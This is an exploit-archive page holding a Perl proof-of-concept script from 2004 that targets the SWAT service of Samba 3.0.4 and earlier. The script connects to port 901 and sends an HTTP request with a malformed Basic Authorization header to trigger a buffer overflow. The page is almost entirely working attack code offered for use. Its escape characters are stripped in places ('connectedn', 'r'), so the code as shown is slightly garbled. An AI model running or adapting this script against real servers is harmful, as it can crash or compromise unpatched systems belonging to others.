[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Samba <= 3.0.4 SWAT Authorization Buffer Overflow Exploit
# Published : 2004-07-22
# Author : Noam Rathaus
# Previous Title : Unreal Tournament 2004 "Secure" Overflow
# Next Title : Ability Server 2.34 FTP STOR Buffer Overflow


#!/usr/bin/perl
# Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow
# Created by Noam Rathaus of Beyond Security Ltd.
#

use IO::Socket;
use strict;

my $host = $ARGV[0];

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, 
PeerPort => "901" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print "connectedn";

$remote->autoflush(1);

my $http = "GET / HTTP/1.1r
Host: $host:901r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712 
Firefox/0.9.1r
Accept: text/xmlr
Accept-Language: en-us,en;q=0.5r
Accept-Encoding: gzip,deflater
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7r
Keep-Alive: 300r
Connection: keep-aliver
Authorization: Basic =r
r
";

print "HTTP: [$http]n";
print $remote $http;
sleep(1);
print "Sentn";

while (<$remote>)
{
 print $_;
}
print "n";

close $remote;

# www.Syue.com [2004-07-22]